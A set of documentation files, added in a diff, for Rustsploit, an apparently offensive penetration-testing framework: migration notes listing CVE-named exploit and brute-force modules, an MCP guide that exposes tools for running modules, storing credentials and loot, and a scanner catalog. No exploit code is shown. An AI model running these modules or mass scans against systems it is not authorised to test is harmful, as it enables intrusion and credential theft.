||||
| Legacy item | Released | Reason |
|
||||
|---|---|---|
|
||||
| Per-category build.rs dispatch codegen (`exploit_dispatch.rs`, etc.) | v0.5.0 | Replaced by inventory-based registry |
|
||||
| `src/commands/{scanner,exploit,creds,osint,plugins}.rs` stubs | v0.5.0 | Were one-line `include!` files for the dispatchers |
|
||||
| `commands::dispatch_with_cidr` / `dispatch_single_target` | v0.5.0 | Replaced by `scheduler::run` |
|
||||
| `utils::bruteforce::run_mass_scan` + `MassScanConfig` | v0.5.1 | Scheduler does fan-out for every module — no module-level mass-scan branches |
|
||||
| `Capabilities::native_mass_scan` flag | v0.5.1 | Mass-scan is universal; no opt-in needed |
|
||||
| `creds/utils.rs` (duplicate of `utils/bruteforce.rs`) | v0.5.1 | Orphaned, never imported |
|
||||
| `EXCLUDED_RANGES: &[&str]` const in `utils/bruteforce.rs` | v0.5.2 | Replaced by `crate::exclusions::ExclusionSet` (pluggable) |
|
||||
| `ModuleCtx::legacy_run_ctx` field | v0.5.2 | Was declared, never read or set |
|
||||
| `ModuleAdapter` runtime shim (`src/module.rs`) | v0.5.6 | All 363 modules self-register via `register_native_module!` — adapter is unreferenced |
|
||||
| `synthesize_info` fallback | v0.5.6 | Only ever called by the adapter's `info_fn`; both gone together |
|
||||
| `build.rs` regex-grep codegen + `module_inventory.rs` include | v0.5.6 | No remaining modules go through the build-time bridge |
|
||||
| `[build-dependencies]` (`regex`, `walkdir`) | v0.5.6 | Build script deleted, no longer required |
|
||||
|
||||
### Promoted to standard pattern (was "legacy")
|
||||
|
||||
| Item | Status | Reason |
|
||||
|---|---|---|
|
||||
| `utils::bruteforce::run_bruteforce` / `_streaming` / `run_subnet_bruteforce` | Standard library | Credential modules invoke these as a library, not via dispatch |
|
||||
| `register_native_module!` macro | **Standard pattern (v0.5.6)** | Each module file ends with `crate::register_native_module!(Category::X, "name"[, has_check])`. The macro generates a per-module `impl Module` that bridges into the file's free `info()` / `run()` / `check()` functions and `inventory::submit!`s an entry. No build script, no central registry table. |
|
||||
|
||||
### Still needing manual work
|
||||
|
||||
_None — all 31 stubs from v0.5.1 have been reimplemented. 6 in v0.5.3, 25 in v0.5.5._
|
||||
|
||||
### Out of scope
|
||||
|
||||
| Item | Reason |
|
||||
|---|---|
|
||||
| `arcticalopex/` panel + REST endpoint table in `DESIGN.md` | TypeScript panel lives outside `src/`; REST surface is owned by panel maintainers |
|
||||
| Historical audit reports (`audit-findings.md`, `arcticalopex_audit.md`, `rustsploit_audit.md`) | Time-stamped forensic findings — editing them rewrites history |
|
||||
| `docs/Changelog.md:89` reference to `registry::dispatch_by_category` | Inside the v0.4.10 section, describes the architecture *of that release* |
|
||||
| PQ rekey deadlock (P0-1/P0-2), SSRF bypass (P0-3) | Encryption + handshake hardening — separate workstream |
|
||||
|
||||
---
|
||||
|
||||
## Migrated in v0.5.1 — universal mass scan
|
||||
|
||||
### `utils::bruteforce::run_mass_scan` and `MassScanConfig` — **REMOVED**
|
||||
|
||||
**Was at:** `src/utils/bruteforce.rs` lines 386–657 (now deleted).
|
||||
|
||||
**What it was:** A 250-line async fan-out engine that ~270 modules called from inside their own `run()` to handle `Target::Random` / CIDR targets. Each module had a dedicated `if is_mass_scan_target(target) { return run_mass_scan(...).await; }` branch wrapping a per-host probe closure.
|
||||
|
||||
**Why it was removed:** Mass-scan fan-out is now **universal** — `crate::scheduler::run` fans out every `Target::Cidr` / `Target::File` / `Target::Multi` / `Target::Random` for every module. Modules only ever see `Target::Single`. Per-module mass-scan branches were duplicated logic of the same shape — we collapsed them into one engine.
|
||||
|
||||
**Migration outcome:**
|
||||
- 110 modules: branch stripped cleanly, single-target `run()` body intact, mass-scan now happens via scheduler fan-out.
|
||||
- 37 modules: the mechanical strip damaged the surrounding code beyond automatic recovery — `run()` is now a stub that prints a migration warning and returns `Ok(())`. Listed below.
|
||||
- All 363 modules still register through `crate::module::registered()` and dispatch through `crate::scheduler::run`. Mass scan works on every one of them — the difference is whether the per-host probe is intact (110) or stubbed (37).
|
||||
|
||||
### Modules reimplemented from stubs in v0.5.2
|
||||
|
||||
These had preserved helpers and were straightforward to wire as single-target probes:
|
||||
|
||||
```
|
||||
src/modules/osint/cert_transparency.rs
|
||||
src/modules/scanners/ping_sweep.rs
|
||||
src/modules/scanners/sgbox_siem_recon.rs
|
||||
src/modules/exploits/vnc/tightvnc_des_hardcoded_key.rs
|
||||
src/modules/exploits/telnet/telnet_auth_bypass_cve_2026_24061.rs
|
||||
src/modules/creds/generic/telnet_hose.rs
|
||||
```
|
||||
|
||||
### Modules still stubbed (need manual reimplementation)
|
||||
|
||||
Each has been minimised to: migration header + `info()` + (optional) `check()` stub returning `CheckResult::Unknown("under migration")` + `run()` stub returning `Ok(())`. All orphaned helpers / structs / consts removed.
|
||||
|
||||
```
|
||||
src/modules/creds/generic/couchdb_bruteforce.rs
|
||||
src/modules/creds/generic/elasticsearch_bruteforce.rs
|
||||
src/modules/creds/generic/fortinet_bruteforce.rs
|
||||
src/modules/creds/generic/l2tp_bruteforce.rs
|
||||
src/modules/creds/generic/memcached_bruteforce.rs
|
||||
src/modules/creds/generic/mqtt_bruteforce.rs
|
||||
src/modules/creds/generic/mysql_bruteforce.rs
|
||||
src/modules/creds/generic/postgres_bruteforce.rs
|
||||
src/modules/creds/generic/rdp_bruteforce.rs
|
||||
src/modules/creds/generic/rtsp_bruteforce.rs
|
||||
src/modules/creds/generic/snmp_bruteforce.rs
|
||||
src/modules/creds/generic/telnet_bruteforce.rs
|
||||
src/modules/creds/generic/vnc_bruteforce.rs
|
||||
src/modules/exploits/bluetooth/wpair.rs
|
||||
src/modules/exploits/cameras/abus/abussecurity_camera_cve202326609variant1.rs
|
||||
src/modules/exploits/cameras/acti/acm_5611_rce.rs
|
||||
src/modules/exploits/cameras/hikvision/hikvision_rce_cve_2021_36260.rs
|
||||
src/modules/exploits/crypto/geth_dos_cve_2026_22862.rs
|
||||
src/modules/exploits/network_infra/fortinet/fortiweb_sqli_rce_cve_2025_25257.rs
|
||||
src/modules/exploits/network_infra/ivanti/cve_2025_0282_ivanti_preauth_rce.rs
|
||||
src/modules/exploits/network_infra/ivanti/cve_2025_22457_ivanti_ics_rce.rs
|
||||
src/modules/exploits/network_infra/sonicwall/cve_2025_40602_sonicwall_sma_rce.rs
|
||||
src/modules/exploits/routers/tplink/tplink_tapo_c200.rs
|
||||
src/modules/exploits/routers/tplink/tplink_vigi_c385_rce_cve_2026_1457.rs
|
||||
src/modules/exploits/routers/zyxel/zyxel_cpe_ci_cve_2024_40890.rs
|
||||
src/modules/exploits/vnc/tightvnc_ft_path_traversal.rs
|
||||
src/modules/exploits/webapps/mcpjam/cve_2026_23744_mcpjam_rce.rs
|
||||
src/modules/exploits/webapps/n8n/n8n_form_afr_cve_2026_21858.rs
|
||||
src/modules/exploits/webapps/react/react2shell.rs
|
||||
src/modules/exploits/webapps/smartermail/admin_password_reset_cve_2026_23760.rs
|
||||
src/modules/exploits/webapps/solarwinds/cve_2025_40551_solarwinds_whd_rce.rs
|
||||
```
|
||||
|
||||
**To reimplement:** for each file, write a single-target `pub async fn run(target: &str) -> Result<()>` that does ONE probe against ONE host. Don't add `if is_mass_scan_target` / `if is_subnet_target` branches — the scheduler does fan-out (CIDR/random/file/multi).
|
||||
|
||||
**History:** `run_mass_scan` was introduced under v0.4.x as `modules/creds/utils.rs::run_subnet_bruteforce`. Migrated to `src/utils/bruteforce.rs` and renamed during the November 2025 hardening sweep (see `changelogs/archives/2025/changelog.md` line 2696, "v0.4.0 — Comprehensive Security Hardening"). Deleted in v0.5.1 in favour of universal scheduler fan-out.
|
||||
|
||||
## Live legacy code (intentional)
|
||||
|
||||
### Module bodies still take `target: &str` (not `ctx: &ModuleCtx`)
|
||||
|
||||
**Location:** every `src/modules/**/*.rs` module file.
|
||||
|
||||
**What it is:** All 363 modules now self-register through `register_native_module!`, so dispatch is via a real per-module `impl Module`. The macro-generated `run` body still translates `ModuleCtx → target_str` and calls into the file's `pub async fn run(target: &str) -> Result<()>`. Module bodies print to stdout via `mprintln!` instead of returning `Finding` records.
|
||||
|
||||
**Why it remains:** Rewriting 363 modules to `pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome>` is finite-but-large mechanical work. Until it's done, `route_findings` in `src/scheduler.rs` only sees the empty `ModuleOutcome::ok()` returned by the macro — nothing flows into `LootStore` / `Workspace` / events from legacy bodies.
|
||||
|
||||
**End state:** Each module body switches to `(ctx: &ModuleCtx) -> Result<ModuleOutcome>`, returns its findings, and the macro adds an opt-in arm for the new signature so both shapes compile during migration.
|
||||
|
||||
**History:** v0.5.0 introduced the `Module` trait + `LegacyAdapter`. v0.5.4 reframed the adapter as the "standard pattern". v0.5.6 deleted the adapter + `build.rs` codegen entirely once every module gained `register_native_module!`. Body migration is the next step.
|
||||
|
||||
---
|
||||
|
||||
## Out-of-scope by design
|
||||
|
||||
### `arcticalopex/` panel + REST API tables
|
||||
|
||||
**Location:** `arcticalopex/DESIGN.md`, lines around 1261–1263 (and elsewhere in the panel docs).
|
||||
|
||||
**What it documents:** The panel's expected REST surface (`GET /api/creds`, `POST /api/creds`, `DELETE /api/creds`, etc.) — written from the panel's perspective.
|
||||
|
||||
**Why untouched in v0.5.0:** The panel is a separate TypeScript codebase. The Rust side does not ship those `/api/*` REST routes — only the `/pq/handshake` and `/pq/ws` endpoints. Documented as a P0 wiring gap in `arcticalopex_wiring_audit.md` long before this migration. Fixing the gap requires implementing the routes in `src/api.rs`, which is its own multi-day project owned by whoever next picks up the panel work.
|
||||
|
||||
**If you change the Rust API:** Coordinate with the panel maintainers and update both `arcticalopex/DESIGN.md` and `docs/API-Server.md` in the same PR.
|
||||
|
||||
### Historical audit reports
|
||||
|
||||
**Files:**
|
||||
- `audit-findings.md`
|
||||
- `arcticalopex_audit.md`
|
||||
- `arcticalopex_audit_phase_a_b_d_summary.md`
|
||||
- `arcticalopex_wiring_audit.md`
|
||||
- `rustsploit_audit.md`
|
||||
|
||||
**Why untouched:** These are **dated forensic reports** of the codebase state at a specific point in time. Each P0/P1/H-level finding cross-references commits and line numbers from that snapshot. Editing them retroactively would invalidate every reference and make subsequent audits hard to compare.
|
||||
|
||||
**The right way to record fixes:** Add a remediation entry in `docs/Changelog.md` (or here in `Legacy.md`) that cites the audit by filename + finding ID, then leave the original audit alone. Example: "P0-1 (arcticalopex_audit.md) — DH ratchet rekey deadlock — fixed in v0.5.0 by ..." rather than amending the original report.
|
||||
|
||||
### `docs/Changelog.md:89` mention of `registry::dispatch_by_category`
|
||||
|
||||
**Why untouched:** That line lives inside the v0.4.10 section. It describes the *architecture of v0.4.10* — namely, that `commands::run_module` flowed through `registry::dispatch_by_category` and into the codegenerated `exploit_dispatch.rs`. This was accurate when v0.4.10 shipped and remains accurate as a historical record of what v0.4.10 did. Rewriting historical changelog entries to reflect later refactors makes the changelog useless as a release-by-release reference.
|
||||
|
||||
**Where to look for the new architecture:** [Changelog.md § v0.5.0](Changelog.md) has the post-migration call graph.
|
||||
|
||||
---
|
||||
|
||||
## Cross-references to historical changelogs
|
||||
|
||||
The current `changelogs/` layout:
|
||||
|
||||
```
|
||||
changelogs/
|
||||
├── changelog-latest.md # v0.5.0 ↔ April 2026 (most recent)
|
||||
└── archives/
|
||||
└── 2025/
|
||||
└── changelog.md # everything before April 2026
|
||||
```
|
||||
|
||||
Versions and the legacy systems they introduced (so you can grep the right archive when investigating "why does X exist"):
|
||||
|
||||
| Version | Date | Files | Legacy item it introduced |
|
||||
|---|---|---|---|
|
||||
| v0.4.0 | November 2025 | `archives/2025/changelog.md:2696` | First mass-scan + bruteforce utilities (later moved to `utils/bruteforce.rs`) |
|
||||
| v0.4.1 | November 2025 | `archives/2025/changelog.md:2850` | SSHPWN integration — multiple modules that still call `run_mass_scan` directly |
|
||||
| v0.4.8 | 2026-04-19 | `docs/Changelog.md:196` | Original per-category dispatcher codegen (`build.rs` → `*_dispatch.rs`) — removed in v0.5.0 |
|
||||
| v0.4.9 | 2026-04-26 | `docs/Changelog.md:97` | Batch-mode prompt cache, PQ rekey hardening, mass-scan capability detection |
|
||||
| v0.4.10 | 2026-04-28 | `docs/Changelog.md:7` | December 2025 PacketStorm batch (~80 webapp exploits); last release on the legacy dispatcher |
|
||||
| v0.5.0 | 2026-05-07 | `docs/Changelog.md` (new entry) | Module trait + unified scheduler; build.rs slimmed to inventory bridge |
|
||||
|
||||
If a piece of code looks like dead weight, find the version that introduced it in the table above and read that section before deleting. Many "obviously redundant" helpers exist because a specific module needs their exact behaviour.
|
||||
|
||||
---
|
||||
|
||||
## Migration paths going forward
|
||||
|
||||
If you want to retire any of the surviving legacy items, here are the unblockers:
|
||||
|
||||
1. **Migrate module bodies from `(target: &str) -> Result<()>` to `(ctx: &ModuleCtx) -> Result<ModuleOutcome>`** — the `native` and `native, has_check` arms of `register_native_module!` already accept the new shape (added in v0.5.6); recipe is in `docs/Module-Development.md` § "Migrating from legacy to native". **151 of 363 modules already ported (42%).** Includes all category templates, the v0.5.5 exploit_helper CVE probes, all 13 `creds_helper`-based credential bruteforces, ~109 small webapp / cross-category probes mass-migrated via a sed+python batch script, plus `ping_sweep`, `telnet_hose`, `tightvnc_des_hardcoded_key`, `telnet_auth_bypass_cve_2026_24061`, `apachebrpc_overflow_cve_2025_59789`, and others. The remaining 212 modules each take ~5–20 LOC of body change plus the registration-line tweak; the larger ones often have legacy subnet branches that should be deleted alongside the body migration since the scheduler now handles fan-out.
|
||||
2. **Drop `utils::bruteforce::run_mass_scan`** — port the ~30 callers to emit `ModuleOutcome::findings` and let the scheduler fan out. The blocker is the file-backed result writer — needs a scheduler-level "stream findings to file" mode that doesn't exist yet.
|
||||
3. **Wire the `arcticalopex` REST routes** — implement `GET/POST/DELETE /api/creds`, `/api/exploits`, etc. in `src/api.rs`. Each route maps to operations on `LootStore` / `module::registered()` / `JobManager`.
|
||||
|
||||
Each of these is a discrete project. None blocks day-to-day use.
|
||||
@@ -0,0 +1,225 @@
|
||||
# MCP Integration
|
||||
|
||||
Rustsploit includes a built-in MCP (Model Context Protocol) server that enables integration with Claude Desktop and other MCP-compatible clients. The server communicates via JSON-RPC 2.0 over stdio (stdin/stdout), with no network listener.
|
||||
|
||||
> **As of the 2026-06-13 release the server runs on the official MCP Rust SDK, [`rmcp`](https://crates.io/crates/rmcp) (v1.7, Apache-2.0).** `src/mcp/server.rs` is now a thin adapter implementing rmcp's `ServerHandler` trait — protocol framing, transport, and spec compliance are owned by the SDK (with correct resources/prompts/progress support). The tool and resource logic (`tools.rs`, `resources.rs`, `types.rs`) is unchanged, so the **29 tools and 7 resources** below, the per-call timeout, and the stdout-isolation guard all carry over.
|
||||
|
||||
---
|
||||
|
||||
## Starting the MCP Server
|
||||
|
||||
```bash
|
||||
cargo run -- --mcp
|
||||
```
|
||||
|
||||
The server reads one JSON-RPC 2.0 request per line from stdin and writes one response per line to stdout. Diagnostic messages go to stderr.
|
||||
|
||||
---
|
||||
|
||||
## Protocol
|
||||
|
||||
- **Transport**: Newline-delimited JSON over stdio
|
||||
- **Protocol version**: `2024-11-05`
|
||||
- **Capabilities**: `tools`, `resources`
|
||||
- **Server name**: `rustsploit-mcp`
|
||||
|
||||
### Supported JSON-RPC Methods
|
||||
|
||||
| Method | Type | Description |
|
||||
|--------|------|-------------|
|
||||
| `initialize` | Request | Capability negotiation handshake |
|
||||
| `initialized` | Notification | Client acknowledgement (no response) |
|
||||
| `tools/list` | Request | List all available tools |
|
||||
| `tools/call` | Request | Execute a tool by name |
|
||||
| `resources/list` | Request | List all available resources |
|
||||
| `resources/read` | Request | Read a resource by URI |
|
||||
|
||||
---
|
||||
|
||||
## Tools (29)
|
||||
|
||||
### Module Tools
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_modules` | List all available modules, optionally filtered by category | -- |
|
||||
| `search_modules` | Search modules by keyword (case-insensitive substring match) | `query` |
|
||||
| `module_info` | Get metadata for a specific module (name, description, authors, references, rank) | `module_path` |
|
||||
| `check_module` | Run a module's `check` entry point against a target | `module_path`, `target` |
|
||||
|
||||
### Target Tools
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `set_target` | Set the global target (IP, hostname, CIDR, or comma-separated list) | `target` |
|
||||
| `get_target` | Get the current global target, size, and subnet status | -- |
|
||||
| `clear_target` | Clear the global target | -- |
|
||||
|
||||
### Execution
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `run_module` | Execute a module against a target, returning captured output | `module_path`, `target` |
|
||||
|
||||
Optional params for `run_module`: `port` (integer), `verbose` (boolean), `prompts` (object of key-value string overrides).
|
||||
|
||||
### Credential Tools
|
||||
|
||||
Credentials are per-workspace -- each workspace maintains its own credential store at `~/.rustsploit/workspaces/{name}_creds.json`. Switching workspaces via `switch_workspace` loads that workspace's credentials.
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_creds` | List all stored credentials in the current workspace | -- |
|
||||
| `search_creds` | Search credentials by host, service, or username in the current workspace | `query` |
|
||||
| `add_cred` | Add a credential to the current workspace's store | `host`, `username`, `secret` |
|
||||
| `delete_cred` | Delete a credential by its ID from the current workspace | `id` |
|
||||
|
||||
Optional params for `add_cred`: `port` (integer), `service` (string), `cred_type` (password/hash/key/token).
|
||||
|
||||
### Workspace Host and Service Tools
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_hosts` | List all tracked hosts in the current workspace | -- |
|
||||
| `add_host` | Add or update a host in the workspace | `ip` |
|
||||
| `delete_host` | Delete a host (and its services) from the workspace | `ip` |
|
||||
| `list_services` | List all tracked services in the current workspace | -- |
|
||||
| `add_service` | Add or update a service in the workspace | `host`, `port`, `service_name` |
|
||||
| `delete_service` | Delete a service by host and port | `host`, `port` |
|
||||
|
||||
Optional params for `add_host`: `hostname`, `os_guess`. Optional params for `add_service`: `protocol` (default: tcp), `version`.
|
||||
|
||||
### Loot Tools
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_loot` | List all stored loot entries | -- |
|
||||
| `search_loot` | Search loot by host, type, or description | `query` |
|
||||
| `add_loot` | Store a loot entry (text data) | `host`, `loot_type`, `data` |
|
||||
| `delete_loot` | Delete a loot entry by ID | `id` |
|
||||
|
||||
Optional params for `add_loot`: `description`.
|
||||
|
||||
### Global Options Tools
|
||||
|
||||
Options are per-workspace -- they are scoped to the current workspace and stored at `~/.rustsploit/workspaces/{name}_options.json`. Switching workspaces via `switch_workspace` loads that workspace's options.
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_options` | List all persistent global options (setg values) for the current workspace | -- |
|
||||
| `set_option` | Set a persistent global option in the current workspace | `key`, `value` |
|
||||
| `unset_option` | Remove a persistent global option from the current workspace | `key` |
|
||||
|
||||
### Job Tools
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_jobs` | List active background jobs | -- |
|
||||
| `kill_job` | Kill a background job by ID | `id` (integer) |
|
||||
|
||||
### Workspace Management Tools
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `list_workspaces` | List all available workspaces | -- |
|
||||
| `switch_workspace` | Switch to a different workspace (creates if needed) | `name` |
|
||||
|
||||
### Export
|
||||
|
||||
| Tool | Description | Required Params |
|
||||
|------|-------------|-----------------|
|
||||
| `export_data` | Export full engagement data as JSON | -- |
|
||||
|
||||
---
|
||||
|
||||
## Resources (7)
|
||||
|
||||
Resources provide read-only access to framework state.
|
||||
|
||||
| URI | Name | Description | MIME Type |
|
||||
|-----|------|-------------|-----------|
|
||||
| `rustsploit:///modules` | Module Catalog | Full module list with `info()` metadata | `application/json` |
|
||||
| `rustsploit:///workspace` | Current Workspace | Tracked hosts and services | `application/json` |
|
||||
| `rustsploit:///credentials` | Credentials | Credential list with secrets redacted | `application/json` |
|
||||
| `rustsploit:///loot` | Loot Catalog | Loot metadata (no file content) | `application/json` |
|
||||
| `rustsploit:///options` | Global Options | Persistent setg key-value pairs | `application/json` |
|
||||
| `rustsploit:///target` | Current Target | Target value, size, and subnet flag | `application/json` |
|
||||
| `rustsploit:///status` | Framework Status | Module count, workspace, host/cred/loot counts | `application/json` |
|
||||
|
||||
---
|
||||
|
||||
## Claude Desktop Configuration
|
||||
|
||||
Add the following to your `claude_desktop_config.json`:
|
||||
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"rustsploit": {
|
||||
"command": "/path/to/rustsploit",
|
||||
"args": ["--mcp"]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Replace `/path/to/rustsploit` with the absolute path to your compiled binary (e.g., `target/release/rustsploit`).
|
||||
|
||||
---
|
||||
|
||||
## Security
|
||||
|
||||
- **Stdio transport only** -- no network listener, no authentication needed (single-user process)
|
||||
- **Target injection prevention** -- `run_module` strips any `target` key from the `prompts` object to prevent SSRF via prompt injection
|
||||
- **Module validation** -- module paths are verified against the compile-time `inventory` module registry before execution
|
||||
- **Credential redaction** -- the `rustsploit:///credentials` resource shows only the first 3 characters of each secret
|
||||
- **No file system writes** -- MCP tools return data inline; no direct file read/write operations are exposed. (Unlike the console / CLI, MCP runs are not duplicated to the per-run loot auto-save file — their output is returned inline to the caller.)
|
||||
- **Concurrency bounded** -- module execution is limited by the framework's semaphore (CPU count, minimum 4 concurrent)
|
||||
- **Per-call timeout** -- each tool call is bounded by `RUSTSPLOIT_MCP_TIMEOUT_SECS` (default 300s)
|
||||
- **Stdout isolation** -- the JSON-RPC protocol channel is dup'd off fd 1 and fd 1 is redirected to `/dev/null`, so a stray `println!` from a module can never corrupt the JSON-RPC stream
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
src/mcp/
|
||||
mod.rs -- Module re-exports
|
||||
types.rs -- MCP capability structs, Tool/Resource/ToolResult types
|
||||
server.rs -- rmcp `ServerHandler` adapter (SDK owns transport + JSON-RPC framing)
|
||||
tools.rs -- 29 tool definitions and dispatch handlers
|
||||
resources.rs -- 7 resource definitions and read handlers
|
||||
client.rs -- MCP client implementation (for connecting to external MCP servers)
|
||||
```
|
||||
|
||||
### Request Flow
|
||||
|
||||
1. The `rmcp` SDK reads and frames each JSON-RPC message off the stdio transport
|
||||
2. The SDK dispatches to the `ServerHandler` adapter in `server.rs` by method (`initialize`, `tools/list`, `tools/call`, `resources/list`, `resources/read`)
|
||||
3. The handler extracts typed parameters and dispatches to `tools.rs` / `resources.rs`
|
||||
4. Those call framework APIs (the same functions used by the REST API and interactive shell)
|
||||
5. The SDK serializes the result back onto the stdio transport
|
||||
|
||||
---
|
||||
|
||||
## Example Session
|
||||
|
||||
```
|
||||
-> {"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}
|
||||
<- {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{},"resources":{}},"serverInfo":{"name":"rustsploit-mcp","version":"0.5.0"}}}
|
||||
|
||||
-> {"jsonrpc":"2.0","method":"initialized","params":{}}
|
||||
|
||||
-> {"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}
|
||||
<- {"jsonrpc":"2.0","id":2,"result":{"tools":[...]}}
|
||||
|
||||
-> {"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"set_target","arguments":{"target":"192.168.1.1"}}}
|
||||
<- {"jsonrpc":"2.0","id":3,"result":{"content":[{"type":"text","text":"Target set to: 192.168.1.1"}]}}
|
||||
|
||||
-> {"jsonrpc":"2.0","id":4,"method":"resources/read","params":{"uri":"rustsploit:///status"}}
|
||||
<- {"jsonrpc":"2.0","id":4,"result":{"uri":"rustsploit:///status","mimeType":"application/json","text":"{...}"}}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
> The MCP server uses the same framework internals as the REST API and interactive shell. Module execution, credential storage, workspace tracking, and all other operations produce identical results regardless of the interface used.
|
||||
@@ -0,0 +1,408 @@
|
||||
# Module Catalog
|
||||
|
||||
> Auto-generated from the inventory registry by `rustsploit --gen-module-catalog`. Do not edit by hand.
|
||||
>
|
||||
> **Stale snapshot.** This file last reflects 363 modules; the current build has **389** (the 2026-06-13 release added `scanners/jarm_scan` and others). Re-run `rustsploit --gen-module-catalog > docs/Module-Catalog.md` to regenerate the live list.
|
||||
|
||||
**Total registered modules: 363**
|
||||
|
||||
All modules support mass scan universally — `random` / CIDR / file targets / comma-separated lists fan out through `crate::scheduler::run` regardless of the module.
|
||||
|
||||
## scanners (45)
|
||||
|
||||
- 45 modules, 8 with `check()`
|
||||
|
||||
| Module | Description | Rank | Check |
|
||||
|---|---|---|---|
|
||||
| `scanners/api_endpoint_scanner` | Comprehensive REST API endpoint discovery and vulnerability scanner with fuzzing, authentication bypass, and injection detection. | Normal | |
|
||||
| `scanners/asterisk_fingerprint` | Connects to the Asterisk built-in HTTPS interface (default 8089/tcp), reads the Server header, and flags EOL major branches (1.x through 16.x). Detection only — no exploit traffic, no DoS vectors. | Excellent | ✓ |
|
||||
| `scanners/cors_reflection_scanner` | Sends a battery of Origin headers (attacker, null, suffix/prefix confusion, scheme downgrade) plus an OPTIONS preflight, and reports any reflected or wildcard ACAO, especially when paired with Access-Control-Allow-Credentials: true. | Excellent | |
|
||||
| `scanners/cpanel_exposure` | Probes the cPanel control-plane ports (2082/2083, 2086/2087, 2095/2096) plus 8888/8889 for reachable HTTP(S) endpoints. Reports each panel that responds, its Server header, and any redirect chain — useful for finding management interfaces exposed to the internet without IP allow-lists. | Excellent | ✓ |
|
||||
| `scanners/csp_audit_scanner` | Extracts Content-Security-Policy from headers or <meta> tags and flags unfilled placeholders, unsafe-inline/unsafe-eval, wildcard sources, missing frame-ancestors, mixed content, and overly broad CDN whitelists. | Excellent | |
|
||||
| `scanners/dir_brute` | HTTP directory and file enumeration via wordlist with multiple scan modes, evasion techniques, and concurrent requests. | Normal | |
|
||||
| `scanners/dmarc_check` | Queries _dmarc.<domain> TXT records to determine whether DMARC is missing, set to p=none (monitoring only), or enforced (p=quarantine / p=reject). Missing or non-enforcing DMARC enables email spoofing and phishing. | Excellent | ✓ |
|
||||
| `scanners/dns_recursion` | Detects open DNS resolvers vulnerable to recursion and amplification attacks. | Normal | |
|
||||
| `scanners/honeypot_scanner` | Scans targets for honeypot indicators by probing 50 common TCP ports in parallel. Classifies hosts as Clean (0-5 open), Suspicious (6-10), Likely Honeypot (11-20), or Definite Honeypot (21+). Supports single IP, CIDR subnets, file-based target lists, and random/mass scanning. Results are stored to the workspace with honeypot notes. | Normal | |
|
||||
| `scanners/http_method_scanner` | Enumerates allowed HTTP methods on a target to identify dangerous or misconfigured endpoints. | Normal | |
|
||||
| `scanners/http_title_scanner` | Enumerates HTML page titles across HTTP and HTTPS endpoints for target fingerprinting. | Normal | |
|
||||
| `scanners/ipmi_enum_exploit` | Comprehensive IPMI scanner with version detection, cipher 0 bypass, default credential brute force, and RAKP hash dumping. | Normal | |
|
||||
| `scanners/iusb_virtualmedia_probe` | Probes a BMC for a reachable IUSB virtual-media service by sending the 12-byte protocol handshake (ASCII 'IUSB' + 4 spaces + 4 NUL) to ports 5120/5123/5124/5126/5127 in plaintext, then over TLS. Reports each port whose reply echoes the IUSB magic — those ports accept remote ISO mounts with valid BMC credentials, which paired with credential-leak or default-password issues is a full host-OS compromise vector. | Great | ✓ |
|
||||
| `scanners/m365_userenum_scanner` | Confirms Azure AD / M365 tenant existence via OIDC .well-known, then enumerates user existence by POSTing GetCredentialType. Returns IfExistsResult (0=exists, 1=missing, 5=federated, 6=throttled). | Excellent | |
|
||||
| `scanners/mysql_exposure` | Connects to TCP/3306 (configurable), reads the server greeting handshake, and reports the protocol byte + advertised version. If the server replies with an ERR packet (host not allowed) the banner still confirms exposure. Detection only — no authentication is attempted. | Excellent | ✓ |
|
||||
| `scanners/nbns_scanner` | Sends NBNS name queries to UDP port 137 to discover Windows hosts on a network. Extracts NetBIOS computer names, domain/workgroup memberships, MAC addresses, and service type flags. Useful for Windows network reconnaissance. | Excellent | |
|
||||
| `scanners/php_version_eol` | Reads the X-Powered-By header from /, then probes a small list of common Vicidial paths. Flags PHP major branches that have reached EOL (4.x, 5.x, 7.x — all unsupported as of 2026). Detection only — no exploitation. | Excellent | ✓ |
|
||||
| `scanners/ping_sweep` | Single-host liveness probe — ICMP echo, then a small TCP connect pre-check on common ports. Used as a per-host probe inside the scheduler's CIDR / random / file fan-out, so the operator gets the same `up?` answer for one host or a /16 with no extra plumbing. | Excellent | |
|
||||
| `scanners/port_scanner` | Concurrent TCP and UDP port scanner with service detection, banner grabbing, and configurable scan ranges. | Normal | |
|
||||
| `scanners/proxy_scanner` | Scans for open proxy servers: HTTP CONNECT, SOCKS4, SOCKS5, and HTTP transparent. Identifies proxies that can be used for traffic relay without authentication. | Normal | |
|
||||
| `scanners/redfish_unauth_enum` | Walks the standard Redfish tree (Systems, Managers, Chassis, AccountService, SecurityService, UpdateService) against a BMC target and reports any endpoint that returns sensitive identity/firmware/policy data without authentication. Also probes vendor-aux endpoints like /cc/bmc_cc.xml that commonly leak capability catalogs and error-string enums. | Great | ✓ |
|
||||
| `scanners/redis_scanner` | Scans for Redis instances with no authentication. Extracts server version, configuration, key count, and identifies potential exploitation vectors such as writable directories and empty requirepass. | Excellent | |
|
||||
| `scanners/reflect_scanner` | Scans for UDP amplification vulnerabilities (DNS open resolver, NTP monlist, SSDP M-SEARCH, Memcached stats). Identifies reflectors that could be abused for volumetric DDoS attacks. | Excellent | |
|
||||
